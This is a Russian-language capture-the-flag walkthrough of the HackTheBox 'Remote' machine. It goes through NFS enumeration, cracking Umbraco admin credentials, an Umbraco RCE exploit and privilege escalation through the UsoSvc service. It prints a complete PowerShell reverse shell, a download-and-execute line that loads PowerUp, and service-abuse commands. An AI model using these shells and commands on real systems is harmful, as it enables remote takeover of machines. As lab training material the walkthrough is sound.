Продолжаю публикацию решений, отправленных на дорешивание машин с площадки HackTheBox.
В данной статье копаемся в NSF ресурсе, разбираемся с RCE эксплоитом для CMS Umbraco и находим вектор LPE через UsoSvc с помощью PowerUp.
Подключение к лаборатории осуществляется через VPN. Рекомендуется не подключаться с рабочего компьютера или с хоста, где имеются важные для вас данные, так как Вы попадаете в частную сеть с людьми, которые что-то да умеют в области ИБ.
Организационная информация
Чтобы вы могли узнавать о новых статьях, программном обеспечении и другой информации, я создал канал в Telegram и группу для обсуждения любых вопросов в области ИиКБ. Также ваши личные просьбы, вопросы, предложения и рекомендации рассмотрю лично и отвечу всем.
Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.
Вся информация представлена исключительно в образовательных целях. Автор этого документа не несёт никакой ответственности за любой ущерб, причиненный кому-либо в результате использования знаний и методов, полученных в результате изучения данного документа.
Recon
Данная машина имеет IP адрес 10.10.10.180, который я добавляю в /etc/hosts.
10.10.10.180 remote.htb
Первым делом сканируем открытые порты. Так как сканировать все порты nmap’ом долго, то я сначала сделаю это с помощью masscan. Мы сканируем все TCP и UDP порты с интерфейса tun0 со скоростью 500 пакетов в секунду.
masscan -e tun0 -p1-65535,U:1-65535 10.10.10.180 --rate=500
На хосте открыто много портов. Теперь просканируем их с помощью nmap, чтобы отфильтровать и выбрать нужные.
nmap remote.htb -p49680,49667,49666,49665,80,139,49678,5985,135,49679,111,445,47001,2049,49664,21
Теперь для получения более подробной информации о сервисах, которые работают на портах, запустим сканирование с опцией -А.
nmap -A remote.htb -p49680,49667,49666,49665,80,139,49678,5985,135,49679,111,445,47001,2049,49664,21
Порт 111 отвечает за NFS (позволяет монтировать удалённые файловые системы через сеть). Давайте посмотрим список ресурсов.
Имеем доступные ресурсы, давайте примонтируем данный ресурс.
И в данной директории находим Web.config и папку Umbraco. Umbraco является платформой системы управления контентом с открытым исходным кодом.
Таким образом нам, нам нужно посмотреть все конфиги, а также узнать версию Umbraco. Вот что можно отметить в Web.Config.
Находим учетные данные для smtp и версию Umbraco: 7.12.4. Корая является уязвимой, если имеются учетные данные.
Entry Point
Дальше я вывел все файлы и каталоги, которые имеются на удаленном сервере, чтобы выбрать и просмотреть файлы, которые представляют интерес.
ls -lR ./
После того, как круг файлов ограничен, следует их просмотреть (можно поверхностно используя grep для выбора таких строк как: user, login, pass, vers, и т.п.). Так находим информацию о существовании двух пользователей:
После этого, еще раз проходимся grep’ом в поисках строк admin и ssmith. И находим хеши для данных пользователей.
И успешно взламываем пароль администратора.
Если посмотреть базу exploit-db, то там есть готовый exploit, но его нужно чуть изменить.
USER
Во-первых: укажем учетные данные и хост.
Во-вторых: изменим нагрузку, указав исполняемый файл и параметры к нему. В данном случае, для теста используем ping.
Как только программа отработает, в tcpdump мы увидим пакеты ICMP.
Давайте загрузим следующий реверс-шелл:
$client = New-Object System.Net.Sockets.TCPClient('10.10.15.60',4321)
$stream = $client.GetStream()
[byte[]]$bytes = 0..65535|%{0}
while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){
$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i)
$sendback = (iex $data 2>&1 | Out-String )
$sendback2 = $sendback + 'PS ' + (pwd).Path + '> '
$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2)
$stream.Write($sendbyte,0,$sendbyte.Length)
$stream.Flush()
}
$client.Close()
Сохраним его в shell.ps1, запустим на локальной машине http сервер.
sudo python3 -m http.server
Изменим нагрузку.
И выполнив, получим бэкконнект.
На сервере нет пользовательских директорий, поэтому находим флаг в доступной для всех Public.
ROOT
Посмотрев информацию о пользователе, замечаем интересную привилегию.
Но так как это Windows Server 2019, то имперсонировать токен для LPE не выйдет.
Давайте используем PowerUp для поиска вектора LPE. Для загрузим его с локального хоста и выполним полную проверку.
iex (New-Object Net.WebClient).DownloadString('http://10.10.15.60/tools/PowerUp.ps1');Invoke-AllChecks
И мы имеем разрешения на Update Orchestrator Service. Cлужба обновления Orchestrator — это служба, которая организует для вас обновления Windows. Этот сервис отвечает за загрузку, установку и проверку обновлений для компьютера.
Создадим второй shell (изменим в первом порт) и загрузим его на машину.
wget http://10.10.15.60/shell2.ps1 -O C:\Windows\Temp\shell2.ps1
И теперь запустим с помощью UsoSvc.
Invoke-ServiceAbuse -Name UsoSvc -Command "cmd.exe /c powershell C:\Windows\Temp\shell2.ps1"
И получаем бэкконнект.
Вы можете присоединиться к нам в Telegram. Там можно будет найти интересные материалы, слитые курсы, а также ПО. Давайте соберем сообщество, в котором будут люди, разбирающиеся во многих сферах ИТ, тогда мы всегда сможем помочь друг другу по любым вопросам ИТ и ИБ.